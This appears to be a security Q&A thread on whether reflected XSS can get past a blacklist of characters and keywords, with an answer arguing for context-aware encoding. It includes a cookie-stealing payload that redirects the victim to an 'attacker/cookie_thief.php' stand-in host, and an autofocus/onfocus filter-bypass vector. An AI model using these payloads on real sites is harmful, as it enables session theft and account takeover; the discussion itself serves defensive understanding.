Is it possible to execute xss under the following conditions?
The following blocked characters and words are replaced with _.
characters: > , : , ; , " , ' , # , ~ , \ , % , ( , ) , [ , ] , { , } , [space]
keywords: alert, confirm, prompt, href, body, onload, src=
The input into the get variable will be echoed back to the user and will not be in any attributes or tags, it will be displayed as it is.
First and foremost XSS is entirely dependent on context. Forcing all input though the same filter will never work all of the time. This is just not how web applications deal with the problem of XSS. The biggest problem with this method of XSS protection is that it is not binary safe. HTML Entity encoding will preserve the value without leading to XSS.
Most of these proposed restrictions have no impact on a given web applications susceptibility to XSS. The most obvious problem is checking for alert and prompt, as these are strings that will never appear in a real attack. This is because a real attacker wants to be undetected, an alert box is a dead give away.
To answer your question, YES, there are numerous conditions in which an attacker could obtain XSS given these arbitrary restrictions. What comes to mind first is DOM Based XSS and DOM Event Injection.
Plain old reflective XSS will also work in a number of situations, the following is a PoC payload, assuming the attacker is already writing within a <script> tag:
document.location=document.referrer+document.cookie
In this casedocument.referrer is where the reflective XSS payload originated from lets call it http://attacker/cookie_thief.php?c=. In this payload the victim's browser will be redirected back to http://attacker/cookie_thief.php?c= by the XSS payload, and the c GET variable will be populated with the cookie value.
<script> tags is out of the question and thus there would be no dom based xss. Second you need to realize + is a space, so that would get replaced with _ and therefore mess up the xss vector. Now as for prompt,alert,confirm, of course that will not be used by the attacker, that is to show a poc, regardless if it's actually exploitable or not. I'm referring to all possible cases, regardless if it's exploitable or not exploitable.
<input autofocus onfocus=codehere– Tabs over spaces and>isn't needed if there are more tags in the following code.